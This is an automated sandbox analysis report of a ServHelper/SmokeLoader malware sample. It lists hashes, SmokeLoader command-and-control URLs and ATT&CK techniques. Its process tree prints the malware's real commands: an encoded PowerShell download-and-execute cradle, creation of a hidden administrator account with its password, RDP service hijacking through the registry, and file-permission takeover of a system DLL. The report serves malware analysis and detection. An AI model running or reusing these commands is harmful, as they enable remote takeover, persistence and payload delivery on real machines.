servhelper | 477af70aacb75d845210fbb00fe37d4c6bd22422ed62dc859ebdf1dc93433c3a

Analysis

max time kernel
151s
max time network
123s
platform
windows7_x64
resource
win7-en-20210920
submitted
18-10-2021 11:30

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General

Target

363fece1255b4dd7f688225dbc090e8b.exe
Size

262KB
MD5

363fece1255b4dd7f688225dbc090e8b
SHA1

624e505f3b828e0f27bd8c2d82687def04ea63d9
SHA256

477af70aacb75d845210fbb00fe37d4c6bd22422ed62dc859ebdf1dc93433c3a
SHA512

70db537ae80612b88db8dfcb33d61a1deecd97555c2d150a9e2fdbaa4a6e89ca2600afbc07eaa6fd32342f044b602951d8bacaebbea7a4efe3c6fafb5054ccab

Score

10^/10

servhelper smokeloader backdoor discovery exploit persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
33	1864	powershell.exe
34	1864	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

Processes:

4BFE.exe

pid	Process
556	4BFE.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
996	takeown.exe
1736	icacls.exe
1648	icacls.exe
1740	icacls.exe
1752	icacls.exe
860	icacls.exe
1992	icacls.exe
1540	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x00090000000130fe-141.dat	upx
behavioral1/files/0x000800000001318e-142.dat	upx

Deletes itself 1 IoCs

Processes:

pid	Process
1204

Loads dropped DLL 4 IoCs

Processes:

pid	Process
1204
1204
1988
1988

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
1992	icacls.exe
1540	icacls.exe
996	takeown.exe
1736	icacls.exe
1648	icacls.exe
1740	icacls.exe
1752	icacls.exe
860	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2BIKA6X39RCPDI2WWA85.temp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

363fece1255b4dd7f688225dbc090e8b.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	363fece1255b4dd7f688225dbc090e8b.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	363fece1255b4dd7f688225dbc090e8b.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	363fece1255b4dd7f688225dbc090e8b.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

powershell.exeWMIC.exeWMIC.exe

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90a2f5ad13c4d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
1724	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

363fece1255b4dd7f688225dbc090e8b.exe

pid	Process
1776	363fece1255b4dd7f688225dbc090e8b.exe
1776	363fece1255b4dd7f688225dbc090e8b.exe
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid	Process
1204

Suspicious behavior: LoadsDriver 4 IoCs

Processes:

pid	Process
464
1988
1988
1988

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

363fece1255b4dd7f688225dbc090e8b.exe

pid	Process
1776	363fece1255b4dd7f688225dbc090e8b.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1796	powershell.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeRestorePrivilege	1648	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1272	WMIC.exe
Token: SeAuditPrivilege	1272	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1272	WMIC.exe
Token: SeAuditPrivilege	1272	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	316	WMIC.exe
Token: SeIncreaseQuotaPrivilege	316	WMIC.exe
Token: SeAuditPrivilege	316	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	316	WMIC.exe
Token: SeIncreaseQuotaPrivilege	316	WMIC.exe
Token: SeAuditPrivilege	316	WMIC.exe
Token: SeDebugPrivilege	1864	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

pid	Process
1204
1204
1204
1204

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

pid	Process
1204
1204
1204
1204

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4BFE.exepowershell.execsc.exenet.execmd.exe

description	pid	Process	procid_target
PID 1204 wrote to memory of 556	1204		27
PID 1204 wrote to memory of 556	1204		27
PID 1204 wrote to memory of 556	1204		27
PID 556 wrote to memory of 1796	556	4BFE.exe	29
PID 556 wrote to memory of 1796	556	4BFE.exe	29
PID 556 wrote to memory of 1796	556	4BFE.exe	29
PID 1796 wrote to memory of 1328	1796	powershell.exe	31
PID 1796 wrote to memory of 1328	1796	powershell.exe	31
PID 1796 wrote to memory of 1328	1796	powershell.exe	31
PID 1328 wrote to memory of 1324	1328	csc.exe	32
PID 1328 wrote to memory of 1324	1328	csc.exe	32
PID 1328 wrote to memory of 1324	1328	csc.exe	32
PID 1796 wrote to memory of 1620	1796	powershell.exe	33
PID 1796 wrote to memory of 1620	1796	powershell.exe	33
PID 1796 wrote to memory of 1620	1796	powershell.exe	33
PID 1796 wrote to memory of 1816	1796	powershell.exe	35
PID 1796 wrote to memory of 1816	1796	powershell.exe	35
PID 1796 wrote to memory of 1816	1796	powershell.exe	35
PID 1796 wrote to memory of 1148	1796	powershell.exe	37
PID 1796 wrote to memory of 1148	1796	powershell.exe	37
PID 1796 wrote to memory of 1148	1796	powershell.exe	37
PID 1796 wrote to memory of 996	1796	powershell.exe	41
PID 1796 wrote to memory of 996	1796	powershell.exe	41
PID 1796 wrote to memory of 996	1796	powershell.exe	41
PID 1796 wrote to memory of 1736	1796	powershell.exe	42
PID 1796 wrote to memory of 1736	1796	powershell.exe	42
PID 1796 wrote to memory of 1736	1796	powershell.exe	42
PID 1796 wrote to memory of 1648	1796	powershell.exe	43
PID 1796 wrote to memory of 1648	1796	powershell.exe	43
PID 1796 wrote to memory of 1648	1796	powershell.exe	43
PID 1796 wrote to memory of 1740	1796	powershell.exe	44
PID 1796 wrote to memory of 1740	1796	powershell.exe	44
PID 1796 wrote to memory of 1740	1796	powershell.exe	44
PID 1796 wrote to memory of 1752	1796	powershell.exe	45
PID 1796 wrote to memory of 1752	1796	powershell.exe	45
PID 1796 wrote to memory of 1752	1796	powershell.exe	45
PID 1796 wrote to memory of 860	1796	powershell.exe	46
PID 1796 wrote to memory of 860	1796	powershell.exe	46
PID 1796 wrote to memory of 860	1796	powershell.exe	46
PID 1796 wrote to memory of 1992	1796	powershell.exe	47
PID 1796 wrote to memory of 1992	1796	powershell.exe	47
PID 1796 wrote to memory of 1992	1796	powershell.exe	47
PID 1796 wrote to memory of 1540	1796	powershell.exe	48
PID 1796 wrote to memory of 1540	1796	powershell.exe	48
PID 1796 wrote to memory of 1540	1796	powershell.exe	48
PID 1796 wrote to memory of 892	1796	powershell.exe	49
PID 1796 wrote to memory of 892	1796	powershell.exe	49
PID 1796 wrote to memory of 892	1796	powershell.exe	49
PID 1796 wrote to memory of 1724	1796	powershell.exe	50
PID 1796 wrote to memory of 1724	1796	powershell.exe	50
PID 1796 wrote to memory of 1724	1796	powershell.exe	50
PID 1796 wrote to memory of 960	1796	powershell.exe	51
PID 1796 wrote to memory of 960	1796	powershell.exe	51
PID 1796 wrote to memory of 960	1796	powershell.exe	51
PID 1796 wrote to memory of 1416	1796	powershell.exe	52
PID 1796 wrote to memory of 1416	1796	powershell.exe	52
PID 1796 wrote to memory of 1416	1796	powershell.exe	52
PID 1416 wrote to memory of 1776	1416	net.exe	53
PID 1416 wrote to memory of 1776	1416	net.exe	53
PID 1416 wrote to memory of 1776	1416	net.exe	53
PID 1796 wrote to memory of 652	1796	powershell.exe	54
PID 1796 wrote to memory of 652	1796	powershell.exe	54
PID 1796 wrote to memory of 652	1796	powershell.exe	54
PID 652 wrote to memory of 1684	652	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\363fece1255b4dd7f688225dbc090e8b.exe
"C:\Users\Admin\AppData\Local\Temp\363fece1255b4dd7f688225dbc090e8b.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1776

C:\Users\Admin\AppData\Local\Temp\4BFE.exe
C:\Users\Admin\AppData\Local\Temp\4BFE.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tkffumk6.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1328
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EBB.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6EBA.tmp"
      4⤵
      PID:1324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1148
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:996
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1736
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1648
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1740
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1752
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:860
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1992
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1540
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:892
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1724
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:960
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1776
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:652
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:1684
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1628
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1256
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:608
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:740
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1400
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1948
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1400
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:836

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:2016
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1580
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2012

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 2lh7U4tU /add
1⤵
PID:2024
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 2lh7U4tU /add
  2⤵
  PID:1388
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 2lh7U4tU /add
    3⤵
    PID:960

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1604
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:532

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1052
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:2020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:1428

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2016
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1492

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 2lh7U4tU
1⤵
PID:2024
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 2lh7U4tU
  2⤵
  PID:544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 2lh7U4tU
    3⤵
    PID:1864

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1552
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1272

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1276
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:316

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:616
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\4BFE.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\4BFE.exe

MD5
63151e4f7c3972f18a23c0e9996e14ef

SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270

SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES6EBB.tmp

MD5
b41ccd3a735cddc39e2c5877b5f4ffe4

SHA1
fcbe73f692429a34ef9b24fb8b3ae2880fc7ac2e

SHA256
0c084eb99f61c41aa083936d47b7dfa06b31babe49a93536bd6e0f74e3fd943b

SHA512
c9c3b6b2b64d4a1c507d17bcd824b3b48e7f08c53ff4e0ee1c03f63ba26281dacbafc338edf4fe4ecb9a167c24e7b5ec6c03e4212a5d3b9963de5e53ad88d6ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
f783019c5dc4a5477d1ffd4f9f512979

SHA1
37c8d1e5dd2ebce647c4e0a92f8598ebf2fdcc7b

SHA256
4c81fee866a87b2de6e10640fe094f0db29258014177e294ac94a819940f5348

SHA512
64d90352f4466f0097dd2c7ace8ccb155947dda8ae148c8c6ba1507a9e879247fab2eba452c812ba628a65de93cc096dabfcb23d2be4b525a92e5ef9e4b57d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Local\Temp\tkffumk6.dll

MD5
e5cb3a086b43f1bd7860945daf1e7dfb

SHA1
6ba8b98717cb07004364c8fb3be263cee73effd0

SHA256
27e4ab1069d1dbdc839a64e84c924864fdb226e7586bd9f1ce99e9c94da42680

SHA512
81a4ebdf72765b244bea6920f5e832b0a3b5fd25a9ea32a9fefde46f96f4408ca5b1e738cb68964663400f407a71e3ae28298f44a1e3a2e262a4d3d244f0c2e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\tkffumk6.pdb

MD5
fe700e9f2cae5a27dc64bc178cf4bd17

SHA1
646a1786f4f2ede0b830c52a5f4ddde14d6b903d

SHA256
df8b8313bde0d4704df35911528de78f27f1f8a1bcc96b1c70814c429d83e733

SHA512
91bdedbf8a7b9408414e9662949de5e0dd7d923420573410d8ca6df886490cdbad7f9359c05227c5d44356b9bbb00419a42ac00e563e7f7de87ec1e357e1f6a8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
227daabaa4a79731eea8acd1b6045e67

SHA1
7dbee353f790164a996825aeb7abd71c0af6c0de

SHA256
d8dacca18186bc7f507636df2bbf5654d0180deb10697b01c7fbddd7b9a6586f

SHA512
02a0857c52f28fece37fc67e8c783d76a799f2a5bf1d25fbe122bfd66ec5863b24e0594e1d06a06e675d537c331fdec83140748226b5ab58b29662d3bceea197

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
227daabaa4a79731eea8acd1b6045e67

SHA1
7dbee353f790164a996825aeb7abd71c0af6c0de

SHA256
d8dacca18186bc7f507636df2bbf5654d0180deb10697b01c7fbddd7b9a6586f

SHA512
02a0857c52f28fece37fc67e8c783d76a799f2a5bf1d25fbe122bfd66ec5863b24e0594e1d06a06e675d537c331fdec83140748226b5ab58b29662d3bceea197

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
227daabaa4a79731eea8acd1b6045e67

SHA1
7dbee353f790164a996825aeb7abd71c0af6c0de

SHA256
d8dacca18186bc7f507636df2bbf5654d0180deb10697b01c7fbddd7b9a6586f

SHA512
02a0857c52f28fece37fc67e8c783d76a799f2a5bf1d25fbe122bfd66ec5863b24e0594e1d06a06e675d537c331fdec83140748226b5ab58b29662d3bceea197

Download Submit
C:\Windows\system32\rfxvmt.dll

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
